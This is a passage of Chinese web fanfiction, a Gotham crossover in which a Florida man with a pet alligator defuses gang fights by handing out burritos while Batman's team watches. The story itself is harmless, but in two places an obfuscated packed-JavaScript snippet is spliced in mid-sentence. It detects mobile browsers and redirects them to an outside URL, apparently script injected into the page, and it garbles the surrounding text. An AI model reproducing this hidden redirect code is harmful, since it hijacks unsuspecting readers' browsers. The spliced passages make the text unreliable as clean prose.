《【综英美】全哥谭都在等我的卷饼》 1. 北上的男人 九月的佛罗里达,天空漏了个洞。 达斯汀·麦克莱恩踩死他那辆89款福特F-150的油门,仪表盘上的故障灯亮得比圣诞树还喜庆。副驾驶座上,一条一米五长的短吻鳄正把脑袋搭在车窗框上,任由雨水灌进它那张永远面无表情的脸。 “小饼干,我跟你打个赌——那傻鸟飞不到佐治亚。” 短吻鳄打了个嗝。 达斯汀把这当成了回应。他单手打方向盘,另一只手从腰包里摸出一个墨西哥卷饼,咬了一口,咀嚼两秒后停顿了一下,看了眼卷饼的日期,耸耸肩,继续嚼。 挡风玻璃外,一只粉红色的火烈鸟正以违背空气动力学的姿态在飓风里扑腾。三小时前,这只鸟从达斯汀家后院的气垫游泳池旁被刮走——那是他上个月用一只海牛跟隔壁老墨换来的装饰品。虽然那只海牛是他从海里骗上来的,但交易就是交易。 “我跟你说,小饼干,”达斯汀嚼着卷饼,“这不是一只鸟的问题。这是原则问题。我麦克莱恩的东西,飓风也不能拿。” 小饼干又打了个嗝。这次带着点鱼腥味。 雨刷器疯狂摆动,勉强把视线刮出一块清晰区域。州界的路牌从头顶掠过——“欢迎进入佐治亚,离开佛罗里达,愿上帝保佑你的理智”。 达斯汀对着后视镜竖了个中指。 那只火烈鸟居然真的开始下降,歪歪扭扭地落进了路边一个加油站。达斯汀把皮卡甩进加油站,车还没停稳,小饼干就已经熟练地把脑袋伸出窗外,接住了从雨棚上淌下来的水柱。 “别喝太多,一会儿还要赶路。” 加油站的老旧电视挂在便利店角落,正放着新闻。达斯汀往咖啡机里投了三个硬币,出来一杯褐色液体——是咖啡还是别的什么,他不在乎。他这辈子喝过更奇怪的东西。 “——哥谭市警方确认,小丑于今晨从阿卡姆疯人院越狱。这已是该罪犯今年第三次成功脱逃。与此同时,哥谭本月犯罪率再创新高,蝙蝠侠仍在追捕中——” 达斯汀端着咖啡凑到电视前,盯着屏幕上那个惨白脸孔、咧嘴大笑的男人。 屏幕切换,画面里出现一个站在楼顶的黑影,雨水顺着他的披风滴落。镜头拉近,只能看到一个坚毅的下巴和紧抿的嘴唇。 “蝙蝠侠今日发表简短声明,呼吁市民夜间减少外出——” 达斯汀吸了口咖啡,皱皱眉:“这哥们儿看着挺累啊。” 画面又切到另一个场景——一个穿绿色西装的男人被押进警车,冲着镜头大喊“谜题还没完!” 接着是一个矮胖的男人叼着雪茄走进豪华赌场,画外音念着“企鹅人今日回应警方调查——” 达斯汀眼睛亮了。 “哟,小饼干,快来看。”他拍拍车窗,小饼干没动。达斯汀自顾自地说,“这地方有意思啊。你看这个白的,笑成这样;这个绿的,喊成这样;这个胖的,走路姿势跟我邻居家那只被车撞过的浣熊一模一样。” 电视上闪过更多画面——猫女的身影掠过楼顶、红头罩在巷子里揍人、一个穿红绿相间制服的男孩跟在一个黑色身影后面。 “还有小孩?”达斯汀凑得更近了,“他们这城市带孩子上班?” 柜台后的收银员是个十七八岁的当地小孩,正紧张地盯着那条趴在皮卡引擎盖上的鳄鱼。他的手按在电话上,犹豫该报警还是该打野生动物保护热线。 达斯汀端着咖啡晃回来,顺着他的目光看了眼小饼干,拍拍小孩肩膀:“别紧张,它吃素的。主要是玉米饼,偶尔啃两口游客。” 收银员喉咙里发出一个可疑的声音。 达斯汀又扭头看了眼电视,屏幕上正在重播小丑大笑的特写。 他若有所思地啜了一口咖啡,皱皱眉,把杯子倒过来,看着底部的淤泥状沉淀物。 “那边疯子比咱们多啊,小饼干。”他回到车边,拉开驾驶座的门,却没有立刻上去,而是撑着车门,对那条永远面无表情的鳄鱼认真道,“你说,咱要不要去交流交流?传播一下佛罗里达的生活方式?让他们知道什么叫真正的快乐?” 小饼干把脑袋从雨棚木柱下收回来,张开嘴,打了个全场都能听见的饱嗝。 达斯汀点点头,像得到了世界上最充分的理由。 “行,那就这么定了。” 他坐进驾驶座,发动引擎。发动机咳嗽了两声,喷出一股黑烟,然后奇迹般地开始工作。皮卡倒出加油站时,那只火烈鸟正好落在车斗里,抖了抖羽毛,像从来没被风吹走过一样。 达斯汀从车窗里探出脑袋,对还在柜台后面发呆的收银员喊了一句:“孩子,听叔一句劝——如果有一天你去哥谭,记得穿花裤衩。那边的黑衣服太丧了。” 皮卡消失在雨幕中。 收银员站了很久,直到手里的热狗凉透。他最终拨通了电话。 “妈,我想我刚才看见佛罗里达人了。” 电话那头沉默了三秒。 “离他远点,孩子。离他们所有人远点。” ---八百里外的哥谭市--- 雨同样在下。 东区边缘的一间废弃仓库里,企鹅人奥斯瓦尔德·科波特坐在一把真皮扶手椅上,雪茄的烟雾和空气中的霉味混在一起。他的面前站着五个手下,每个人都被雨水淋得湿透。 “我再问一遍,”企鹅人的声音不高,但每一个字都像钉子砸进木头里,“东区的那些小老鼠,处理干净了没有?” 领头的那个手下咽了口唾沫:“老板,红头罩的人……比我们预想的多。” 企鹅人眯起眼睛。 “你是说,你们五个,打不过一个带着一帮流浪汉的疯子?” 手下不敢接话。 企鹅人把雪茄按灭在扶手上。他从椅子上站起来,走到窗前,看着外面灰蒙蒙的天色。 东区,哥谭最穷最乱的地方。但穷有穷的好处——这里的人不在乎谁统治他们,只在乎谁能让他们活下去。只要拿下东区,他的地盘就能连成一片,到时候他才能真正和黑面具叫板。 前提是,那个戴红头盔的疯子别再挡路。 “听着,”企鹅人转过身,“红头罩再怎么疯,也只是一个人。我要你们把人手翻一倍,从南边和西边同时压进去。他不是喜欢在犯罪巷晃悠吗?那就让他顾头不顾尾。” 手下的眼睛亮了一下:“老板的意思是……” “三天之内,”企鹅人说,“我要东区至少一半的街道归我管。那些小摊贩、流浪汉、开黑店的——告诉他们,要么交钱,要么滚蛋。红头罩要是敢出来,就给我打。打死算我的。” 手下们齐声应了,转身离开。 仓库的门关上,雨声被隔绝在外。 企鹅人重新点燃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376629|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 支雪茄,看着墙上那张手绘的东区地图。红头罩的活动范围被他用红笔圈了出来——犯罪巷周围那几条街。 “红头罩,”他自言自语,“你挡着我发财了。” ---犯罪巷深处--- 一个戴着红头盔的男人蹲在雨棚下,面前坐着三个流浪汉。其中一个老头正在吃他从怀里掏出来的面包——干得掉渣的那种。 “红头罩,”老头嚼着面包,含糊不清地说,“企鹅人那边的人又来了。昨天在西街,打伤了老巴里。” 红头盔下的眉头皱了一下。 “老巴里怎么样了?” “断了两根肋骨,在医院躺着。那帮人说,下次再不交钱,就直接扔河里去。” 红头罩没说话。 雨顺着雨棚的边缘滴下来,砸在他脚边的水洼里。他的拳头握紧,又松开,又握紧。 企鹅人最近的动作越来越大。东区本来是他的地盘——不是他统治的那种地盘,而是他知道这里的每一条巷子、每一个被哥谭遗忘的人。这些人不欠他什么,他也不欠他们什么。但那些穿着西装、坐在温暖办公室里数钱的人,凭什么来这里收保护费? “红头罩。”老头又叫了一声。 他抬起头。 “你要小心点。他们人多。” 他站起来,雨水从他皮夹克的肩头滑落。 “让他们来。” 然后他转身走进雨里,背影很快被雨幕吞没。 老头看着那个方向,叹了口气。 ---蝙蝠洞--- 巨大的监控屏幕亮着,上面是几十个分屏画面。提姆·德雷克坐在电脑前,手指飞快地敲击键盘。 蝙蝠侠站在他身后,披风上还滴着雨水。 “企鹅人的动作加快了。”提姆调出几张监控截图——东区边缘的那间仓库,几个黑衣人进进出出,“他的人手在过去三天里增加了至少一倍。目标很明显是东区。” “红头罩那边呢?” “还在犯罪巷一带活动。但他的人手太少了,都是些流浪汉,打不了正面。” 蝙蝠侠沉默了几秒。 “继续监控。等他们真的动手再介入。” 提姆点点头,又调出另一个画面:“对了,还有一件事。边境监控拍到一辆车,从佛罗里达过来的,正往哥谭方向开。车主信息很模糊,但随车带了一条鳄鱼。” 蝙蝠侠的眉头皱了起来。 “鳄鱼?” “对,活的。趴在副驾驶座上。”提姆放大画面,但分辨率太低,只能看到一个模糊的轮廓,“需要跟进吗?” 蝙蝠侠看着那个模糊的影像,沉默了几秒。 “暂时不用。先盯着企鹅人。” 他转身离开,披风在身后划出一道弧线。 提姆看着屏幕上那个模糊的皮卡,嘀咕了一句:“佛罗里达……那地方出来的人,比哥谭还疯吧?” 然后他摇摇头,切回了东区的监控。 --- 雨夜中,那辆破皮卡正沿着公路一路向北。 达斯汀哼着不成调的歌,一只手搭在方向盘上,另一只手伸到副驾驶,挠了挠小饼干的下巴。 “小饼干,你说哥谭的雨,和我们佛罗里达的雨,哪个更好喝?” 小饼干打了个嗝。 达斯汀把这当成了回答。 2. 哥谭第一日 凌晨三点,达斯汀的皮卡终于看见了哥谭的天际线。 不是那种“哇塞大都市”的壮观——而是灰蒙蒙的轮廓里,几栋高楼戳破云层,上面还闪着红灯。达斯汀把脑袋伸出窗外,让雨水糊了一脸,眯着眼睛辨认路牌。 “哥谭市界,欢迎光临——下面那行写的啥?小饼干你帮我看看。” 副驾驶座上的短吻鳄打了个嗝。 达斯汀点点头:“我也觉得不用看。” 皮卡欢快地咳嗽了两声,冲过界碑,正式进入哥谭地界。 三秒后,车底传来一声巨响。 仪表盘上所有的故障灯同时亮起,然后一起熄灭。发动机发出一声垂死的呻吟,皮卡往前滑行了二十米,彻底瘫在路边。 达斯汀拍了拍方向盘。 “老伙计,你这退休时间挑得真准。” 他推开车门下来,雨水瞬间把他浇透。小饼干也从副驾驶爬出来,趴在引擎盖上,面无表情地看着这个新城市。 达斯汀环顾四周——破旧的楼房,墙上全是涂鸦,街角堆着垃圾袋,路灯坏了三分之一。远处有几个黑影蹲在便利店门口,看不清在干什么。 “还行,”他点点头,“比杰克逊维尔亲切多了。” 他绕到车后,拍了拍车斗里那只还在睡觉的火烈鸟:“醒醒,到站了。自己找食去。” 火烈鸟把脑袋从翅膀底下抽出来,茫然地看了他一眼,然后继续睡。 达斯汀耸耸肩,转身打量自己的车。他蹲下去看了看底盘——一块大石头卡在下面,油箱上还有个洞,正在往外滴油。 “小饼干,”他站起来,拍拍手,“咱俩得推车。” 小饼干没动。 “别装死,你刚才坐了一路,该运动运动了。” 一分钟后,哥谭东区的凌晨街头出现了一个奇观:一个穿着花裤衩的男人推着一辆破皮卡,皮卡引擎盖上趴着一条鳄鱼,车斗里蹲着一只粉红色的火烈鸟。 路边的几个流浪汉揉了揉眼睛,确认自己没出现幻觉。 “兄弟,”其中一个壮着胆子开口,“你车坏了?” 达斯汀抬起头,看见三个裹着睡袋的人蹲在屋檐下。他眼睛一亮,松开推车的手——皮卡往后滑了半米,小饼干用尾巴顶住了。 “你们好!”达斯汀掏向腰包,“吃卷饼吗?” 三个流浪汉看着他递过来的热腾腾的卷饼,集体沉默了。 “不饿?”达斯汀往前递了递,“我刚做的,还热着。” 最年轻的那个流浪汉——看起来也就十七八岁,瘦得皮包骨头——鬼使神差地伸手接了。他咬了一口,愣了。 “这……好吃。” 另外两个流浪汉看着他吃,喉结动了动。 达斯汀又掏出两个,一人塞一个:“别客气,我还有。” 三个流浪汉蹲在屋檐下吃卷饼,达斯汀靠着皮卡休息,场面和谐得诡异。 年轻的那个吃完,舔了舔手指:“你从哪来的?” “佛罗里达。” “来干嘛?” 达斯汀想了想:“追鸟追丢了,顺便来看看。” 三个流浪汉看向车斗里的火烈鸟,又看向他,又看向那条趴在引擎盖上的鳄鱼,最后互相看了看。 “哥谭这地方,”年纪最大的那个开口,牙齿掉了两颗,“不是你该来的。” “为什么?” “因为……”老头想了想,“因为这里的人不笑。” 达斯汀眨眨眼:“那他们饿了怎么办?” 老头被问住了。 达斯汀拍拍他的肩膀:“我有个朋友说过,吃饱了才能想别的。我先去找修车厂,回头见。” 他重新推起皮卡,小饼干用尾巴帮忙顶着,一人一鳄缓慢消失在雨幕里。 三个流浪汉蹲在原地,手里还攥着卷饼的油纸。 “他刚才说,”年轻的那个开口,“‘吃饱了才能想别的’?” 老头沉默了一会儿。 “明天这个点,还来这蹲着。” 二十分钟后,达斯汀和小饼干终于把车挪到了一家修车厂门口。 招牌上写着“托尼修车——三代老店,童叟无欺”,下面用油漆加了一行小字“黑面具的人不打折”。 达斯汀推门进去,柜台后面坐着一个六十来岁的老头,秃顶,叼着牙签,手里拿着份报纸,头版是蝙蝠侠的模糊照片。 “车坏了?”老托尼头也不抬。 “对,在那边。”达斯汀指了指门外。 老托尼抬头,看到门外那条趴在引擎盖上的鳄鱼,牙签从嘴里掉下来。 “……那是你的车?” “那是我的鳄鱼。”达斯汀说,“车是旁边那辆。” 老托尼站起来走到门口,绕着皮卡转了一圈,趴下去看了看底盘,站起来沉默了三秒。 “零件要等。”他说,“从佛罗里达运过来,至少一周。” 达斯汀眼睛亮了:“一周?太好了。” 老托尼以为自己听错了:“太好了?” “对啊,正好逛逛。”达斯汀从腰包里掏出一个卷饼,“多少钱?” 老托尼刚要报价,就看到达斯汀把卷饼递过来。 他用看精神病的眼神看着达斯汀。 “这是……卷饼?” “刚做的,还热着。”达斯汀又往前递了递,“你饿不饿?” 老托尼沉默了五秒。 然后他叹了口气,转身回到柜台后面,从抽屉里翻出一张皱巴巴的纸,扔到台面上。 “东区那边有个老太太出租房子,便宜,没人管你带什么宠物。”他说,“修车钱等零件到了再说,现在别拿那个饼对着我。” 达斯汀把卷饼收回来,自己咬了一口:“你人真好。” 老托尼没理他,低头继续看报纸。 达斯汀拿着那张纸条,吹着口哨走出门。小饼干从引擎盖上滑下来,跟在他身后。那只火烈鸟犹豫了一下,也跳下车斗,摇摇晃晃地跟在最后。 老托尼从报纸后面抬起眼睛,看着这一行——一个花裤衩、一条鳄鱼、一只粉红色的鸟——消失在街角。 他重新低下头,嘟囔了一句:“佛罗里达来的吧。” 纸条上的地址在东区深处,一条连路灯都懒得亮的巷子里。 达斯汀敲了三分钟门,门终于开了一条缝。一只浑浊的眼睛从缝里往外看,看到花裤衩,看到鳄鱼,看到火烈鸟,然后门又关上了。 达斯汀继续敲。 又过了两分钟,门再次打开,这次开大了点。门口站着一个独眼老太太,手里拿着根拐杖,但拿拐杖的姿势一看就不是用来走路的。 “房租周结,”老太太开口,声音像砂纸磨玻璃,“不收外币,不收硬币,不收来路不明的大钞。” “行。”达斯汀点头。 房间不大,但收拾得很整齐。墙上挂着一幅褪色的照片——一个年轻女人站在靶场,手里拿着步枪。达斯汀多看了两眼,老太太已经坐进扶手椅里。 “一周五十。” 达斯汀把手伸进腰包,掏出一个卷饼,放在桌上。 老太太低头看着那个卷饼,又抬头看着他。 “这是什么?” “卷饼。” “我问你这是什么意思。” “付房租啊。” 老太太的右眼眯了起来。她端起茶杯喝了一口——那钥匙还在里面泡着——然后把杯子放下。 “你打算用卷饼付房租?” “对。一个卷饼五块钱,你刚才说五十,那得十个。”达斯汀又往腰包里掏,“我现在只有八个,剩下两个明天补给你。” 老太太看着他一个一个往外掏卷饼,掏了八个,整整齐齐码在桌上。 房间里安静了十秒。 达斯汀保持着掏卷饼的姿势,等她的反应。 老太太站起来,走到那八个卷饼面前,拿起一个,闻了闻,咬了一口。 她嚼着,没说话。吃完,她把剩下的卷饼收起来,放进了橱柜。 “一周。”她说,“少一天就滚蛋。” 达斯汀笑了:“成交。” 老太太指了指走廊尽头:“最里面那间,窗户漏水自己修,隔壁住的是个聋子,你可以随便吵。” 达斯汀带着小饼干走向那扇门,身后传来老太太的声音: “小子。” 他回头。 老太太站在门口,右眼在昏暗的灯光里亮得吓人。 “在哥谭,不要随便给人东西。有些人吃了你的,还会想要你的命。” 达斯汀想了想:“那也得等吃完吧?” 老太太没说话。 门关上了。 达斯汀推开自己那间的门——一张床,一把椅子,一个窗户,窗玻璃上有个洞,用胶带糊着。 他环顾四周,满意地点点头:“比我在坦帕的第一个公寓强多了。” 放下东西后,达斯汀决定出门逛逛。 小饼干趴在浴缸里不想动,火烈鸟蹲在窗台上发呆,他就一个人下了楼。 东区的街道比修车厂那边破多了,墙上全是涂鸦,垃圾桶倒在地上,每隔几米就有几个蹲着抽烟的年轻人用打量肥羊的眼神看他。 但达斯汀没注意到那些眼神。他正在研究路边一个自动贩卖机为什么卖的是子弹而不是可乐。 “这地方,”他自言自语,“有点意思。” ---东区·犯罪巷--- 雨小了一点。 红头罩蹲在一栋废弃楼的二层,透过破碎的窗户看着下面的街道。三个企鹅人的人正挨个敲那些商铺的门——凌晨四点,当然没人开门,但他们还是敲,一边敲一边往门上喷油漆。 他的拳头攥紧。 楼下传来脚步声。一个流浪汉爬上来,是他认识的老巴里——肋骨还绑着绷带,走路一瘸一拐。 “红头罩,”老巴里喘着气,“他们又来了。这次带了二十多个人,从南边压过来的。” 红头罩没回头:“我知道。” “你一个人打不过。” “我知道。” “那你还要去?” 红头罩站起来,从腰间抽出两根短棍。 “他们动我的人,我动他们的人。很公平。” 他翻身跳下二楼,消失在雨幕里。 老巴里趴在窗口,看着那个背影,叹了口气。 红头罩落地的时候,正好和企鹅人的巡逻队打了个照面。 五个人,拿着棒球棍和砍刀,领头的是个光头,脖子上纹着伞蜥蜴。 “哟,”光头笑了,“这不是咱们的街头慈善家吗?大半夜不睡觉,来收垃圾?” 红头罩没说话,短棍已经转了起来。 光头的笑容僵了一下——他知道这人不好惹。但后面的人多,怕什么? “上!” 五个人冲上去。 三分钟后,五个人全躺在地上,哼哼唧唧爬不起来。红头罩站在中间,雨水混着血从短棍上滴下来。 光头抱着断掉的胳膊,咬牙切齿:“你等着,我们老板不会放过你的。” 红头罩蹲下来,用棍子挑着他的下巴。 “让你们老板自己来。” 他站起来,正准备走,余光扫到巷口有个 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地上那个光头挣扎着想爬起来,嘴里还在骂骂咧咧。红头罩的短棍抬起来,准备再给他一下。 达斯汀突然蹲下去,把卷饼塞到光头手里。 “你先吃。吃完再打。” 光头愣了。 他拿着卷饼,看看红头罩,看看达斯汀,看看卷饼。卷饼的香味钻进鼻子——他打了半晚上,确实有点饿。 他咬了一口。 嚼了两下。 又咬了一口。 “好吃吗?”达斯汀蹲在旁边问。 光头没说话,但吃完了。 达斯汀站起来,拍拍手,看向红头罩:“你看,他吃饱了就不想打了。” 红头罩看着光头——光头躺在地上,手里攥着空油纸,表情有点茫然。 “你他妈……”红头罩转向达斯汀,“你他妈到底想干什么?” 达斯汀想了想:“交个朋友?” 红头罩握着短棍的手青筋暴起。他想把这个神经病打晕,然后扔到河里去。但他又看了一眼光头——那家伙还在回味卷饼的味道,完全忘了自己刚才要拼命。 这是什么狗屁逻辑? 但他不得不承认:现在这场架,确实打不下去了。 他把短棍收起来,转身就走。 达斯汀在后面喊:“哎!卷饼你还没拿!” 红头罩没回头。 达斯汀耸耸肩,把卷饼收回来自己吃了。 地上的五个人互相搀扶着爬起来,看了他一眼,不知道该不该说谢谢,最后沉默地走了。 达斯汀站在巷子里,对旁边的小饼干说:“这地方的人真奇怪。打来打去,然后不给吃的就走。” 小饼干打了个嗝。 达斯汀点点头:“走吧,回去睡觉。明天再出来溜达。” ---东区·企鹅人的据点--- 那几个鼻青脸肿的混混回到了企鹅人的临时据点。 企鹅人正对着墙上的地图抽烟,听到动静转过头,看到他们的脸,雪茄差点掉下来。 “你们这是……被红头罩打了?” 领头的混混点头。 “你们五个人打不过他一个?” 领头的混混摇头。 企鹅人的脸沉下来:“那是怎么回事?” 混混犹豫了一下,说:“本来是被他打了,但是后来……来了个人。” “什么人?” “一个穿花裤衩的。”混混说,“给我们发了卷饼。” 企鹅人的雪茄终于掉下来了。 “……什么?” “真的,老板,那个卷饼还挺好吃的。”另一个混混小声补充。 企鹅人的嘴角抽了抽。他想发火,但又不知道该从哪里开始发。花裤衩?卷饼?这他妈都是什么跟什么? “滚出去。”他最后说。 混混们赶紧滚了。 企鹅人重新点燃雪茄,盯着地图上红头罩的势力范围,眉头皱得更紧了。 一个红头罩已经够烦的了,现在又多了个发卷饼的? 他深吸一口烟。 “查一下,”他对旁边的手下说,“今天东区新来的那个花裤衩。” ---蝙蝠洞--- 提姆·德雷克正在整理东区的监控画面,突然手指停住了。 他把画面倒回去,放大,再放大。 屏幕上,一条巷子里,红头罩和一个花裤衩正蹲在一起。旁边还蹲着几个混混,所有人的手里都拿着——卷饼? 提姆揉了揉眼睛。 画面没变。 他截图,放大,确认,然后拿起通讯器。 “布鲁斯,”他说,“你得看看这个。” 几分钟后,蝙蝠侠站在屏幕前,盯着那张截图。 沉默持续了三十秒。 “这是……什么?”他问。 提姆耸耸肩:“我不知道。但佛罗里达那辆车今天进东区了。租了房。然后出门就遇到了杰森。” 蝙蝠侠盯着那个穿着花裤衩的身影,眉头皱成深深的沟壑。 “继续监控。” 他转身离开,披风在身后扬起。 提姆看着屏幕上的截图,又看了看时间——从达斯汀遇到杰森到现在,东区没有再发生任何冲突。 企鹅人的人撤了。红头罩也没再动手。 他想了想,在档案里加了一行字: “目标行为模式更新:疑似具备‘强制停战’属性,原因不明,机制不明。建议持续观察。” 3. 鱼上 第二天早上,达斯汀是被火烈鸟啄醒的。 那只粉红色的傻鸟此刻正站在床头,用喙戳他的脸。 达斯汀睁开一只眼睛,看了眼窗外的天色——灰蒙蒙的,分不清是早晨还是傍晚。 “几点了?” 火烈鸟叫了一声。 达斯汀把这当成了回答。他翻了个身,继续睡。 三秒后,小饼干从浴缸里爬出来,甩了甩尾巴,一尾巴抽在床腿上。整张床震了一下,达斯汀滚到地上。 “……行,醒了醒了。” 小饼干打了个嗝。 他爬起来,伸了个懒腰,从腰包里摸出两个卷饼,一个自己咬,一个掰成两半分给小饼干和火烈鸟。火烈鸟歪着脑袋看了卷饼三秒,然后一口吞了。 “挑食?不存在的。”达斯汀满意地点头。 吃完早饭,他决定继续昨天未完成的伟大事业——探索哥谭。 下楼的时候,老太太正坐在门口择菜。看到他,那只独眼眯了眯。 “今天打算去送死?” 达斯汀想了想:“应该不会。我才来第二天。” 老太太哼了一声,没再说话。 达斯汀带着小饼干出门,火烈鸟犹豫了一下,也跟了上来。于是一人一鳄一鸟,组成了东区街头最诡异的巡逻队。 路过一条巷子时,小饼干突然停下。 它把头贴在地上,耳朵——如果鳄鱼有耳朵的话——对着地面,一动不动。 达斯汀蹲下来:“听到什么了?” 小饼干打了个嗝,然后用爪子刨地面。刨了两下,又停下来,继续听。 达斯汀把耳朵贴上去。 什么也没有。 但小饼干显然听到了什么。它站起来,沿着声音的方向走,一直走到巷子尽头——一个锈迹斑斑的铁栅栏,下面是一个下水道入口。 栅栏的缝隙里,隐约能看到水光。 小饼干把脑袋塞进去,挤了挤,进不去。 达斯汀蹲下来研究了三秒,然后伸手把栅栏拽开了。 锈死的螺丝直接崩飞。 “没事,”他对小饼干说,“回头给装回去就行。” 小饼干打了个嗝,示意知道啦。 小饼干滑进下水道,达斯汀跟进去,火烈鸟犹豫了一下,留在上面放风。 下水道比想象中宽敞,两侧有窄窄的水泥台,中间是流动的污水。小饼干沿着水泥台走,一路走一路听,最后在一个岔口停下来。 那里蹲着三个人。 准确地说,是三个裹着硬纸板和破布的人。两男一女,年纪看不出来,脸上糊着泥,眼神在黑暗中闪着警惕的光。 他们看到一条鳄鱼从黑暗里钻出来,集体往后缩。 然后看到一个穿花裤衩的男人从鳄鱼后面探出头。 “你们好!”达斯汀热情地打招呼,“吃卷饼吗?” 小饼干打了个嗝,表示热情无害。 三分钟后,三个流浪汉蹲在水泥台上,每人手里捧着一个热腾腾的卷饼。 年纪最大的那个——头发花白,缺了半只耳朵——边吃边打量达斯汀。 “你是什么人?” “佛罗里达来的。”达斯汀也蹲着,手里拿着自己的卷饼,“我朋友听到这下面有动静,下来看看。” “你朋友?”缺耳朵看向小饼干。 “对,它叫小饼干。” 小饼干打了个嗝。 缺耳朵沉默了两秒,继续吃卷饼。 年轻一点的那个,脸上有刀疤,吃得最快,吃完舔了舔手指,盯着达斯汀的腰包。 “里面还有吗?” “有啊。”达斯汀又掏出一个递过去,“你们住这多久了?” “两三年吧。”缺耳朵说,“上面冷,下面暖和。” 达斯汀点点头,环顾四周。污水从脚边流过,空气里弥漫着刺鼻的味道,但这些人好像已经习惯了。水泥台上堆着他们的“家当”——几个塑料袋,一条破毯子,一个搪瓷缸子。 他继续往前走。下水道比他想象的大,七拐八绕的,时不时能看见几个蜷缩的人影。每看到一个,他就蹲下来发一个卷饼。 有人接的时候手抖,有人接的时候眼神警惕,有人接的时候嘴里骂骂咧咧——但最后都吃了。 走到一段管道交汇的地方,他发现这里聚集了七八个人,围着一堆破烂家当,像一个小小的聚居地。 “哟,这么多人啊。”达斯汀高兴地挥手。 那些人看着他,像看一个外星生物。 “你……从上面下来的?”一个看起来像领头的中年男人问。 “对啊。”达斯汀掏出卷饼,一个一个递过去,“饿了吧?吃吃吃。” 中年男人没接,盯着他看了几秒。 “你是警察?” “不是。” “社工?” “也不是。” “那你为什么给我们吃的?” 达斯汀想了想,很认真地回答:“因为我高兴啊。” 中年男人沉默了。 旁边一个年轻人已经接过卷饼吃了起来,边吃边含糊不清地说:“老大,好吃。” 中年男人最终还是接了。 达斯汀看着他们吃,心满意足地点点头。他的目光落在管道旁边那条黑漆漆的水沟上,水缓慢地流着,看不到底。 他注意到水里有东西在动。 凑近看,是一群鱼。不大,手指长短,挤在水流较缓的地方,密密麻麻。 “这鱼能吃吗?”他问。 年轻男人摇头:“太小,刺多。而且这水……你敢吃?” 达斯汀想了想,觉得有道理。他又看了一会儿那群鱼,发现它们挤在一起,好像在努力往上游,但水流太急,游不上去。 “它们想干嘛?” 年轻男人瞟了一眼:“发情吧。每年这时候都来,往上游,找个安静的地方下崽。但这段水道堵了,上不去,就全挤这了。” 达斯汀盯着那群鱼,看了很久。 然后他把手伸进腰包。 出来的时候,手里不是卷饼,而是一捧水。水里有鱼——和下水道里一模一样的鱼。 年轻男人的卷饼差点掉下来。 “……你从哪拿出来的?” 达斯汀没回答,把那捧鱼倒进水里。它们愣了一下,然后迅速混进鱼群里。 他又把手伸进去。 又捧出一捧。 再伸。 再捧。 他们看着那个小小的腰包里源源不断地捧出鱼,一时间忘了嚼嘴里的卷饼。 十几分钟后,下水道里的鱼群规模扩大了一倍。 达斯汀收手,在裤衩上蹭了蹭水,满意地点点头:“这下够多了。” 中年男人终于找到自己的声音:“你……你那包里到底有什么?” 达斯汀想了想:“卷饼,鱼,还有别的什么,我也记不清。朋友送的。” 年轻人想问“什么朋友能送这种东西”,但没问出口。他在哥谭活了这么多年,见过各种离谱的事,但没见过这种。 达斯汀站起来,拍拍裤子:“行,你们慢慢吃,我先上去了。明天再来。” 他带着小饼干往回走,走了两步又回头,从腰包里掏出几个卷饼,放在水泥台上。 然后一人一鳄消失在黑暗里。 几个流浪汉盯着那摞卷饼,又盯着水面上的鱼群——那群鱼好像更活跃了,在水里转来转去。 达斯汀从下水道钻出来,火烈鸟还蹲在原地,看到他回来,叫了一声。 “你倒是挺会挑地方。”达斯汀把栅栏装回去——没装好,歪着,但他觉得可以了。 小饼干趴在地上喘气,刚才在下水道走了不少路。达斯汀蹲下来挠它的下巴,挠着挠着,突然想起什么。 “对了,”他对小饼干说,“刚才那些鱼,好像是我在佛罗里达的时候装进去的。忘了什么时候了。” 小饼干打了个嗝。 “没事,反正养着也是养着,放它们自由恋爱。” 他站起来,继续溜达。 ---东区·企鹅人的据点--- 企鹅人这两天很烦躁。 东区的推进进度比他预想的慢。红头罩那个疯子像条护食的狗,咬住就不松口。他派出去的人,每次都被打回来,而且每次回来的人都带同一个故事—— “本来在打架,然后那个花裤衩出现了,发了卷饼,然后就打不下去了。” 第一次他以为手下在耍他。 第二次他开始皱眉。 第三次他让手下把那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376631|200099||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花裤衩的样子描述了一遍—— 花裤衩,鳄鱼,火烈鸟,见人就发卷饼。 企鹅人盯着窗外灰蒙蒙的天,把雪茄按灭在烟灰缸里。 “找到那个人的住址。”他说。 ---蝙蝠洞--- 提姆·德雷克已经连续工作了三十二个小时。 不是他想卷,是企鹅人和红头罩的冲突升级了,他得盯着。再加上那个佛罗里达人——他已经在东区发了两天卷饼,监控里到处都是他的身影。 提姆揉了揉眼睛,给自己倒了第四杯咖啡。 屏幕上的画面切换着:东区街头,花裤衩在给流浪汉发卷饼;犯罪巷,花裤衩蹲在红头罩旁边吃卷饼;某个废弃大楼楼下,花裤衩在喂野猫——用的也是卷饼。 提姆把咖啡放下来,调出最近几天的冲突记录。 奇怪的事情出现了—— 从那个佛罗里达人出现之后,东区的暴力冲突次数明显下降了。不是完全消失,但那些小规模的街头斗殴、抢劫、收保护费——都变少了。 不是蝙蝠侠出手的。不是警察出手的。不是红头罩出手的。 只是因为,每次快要打起来的时候,那个花裤衩总会出现在附近,然后所有人就开始吃卷饼,然后就不打了。 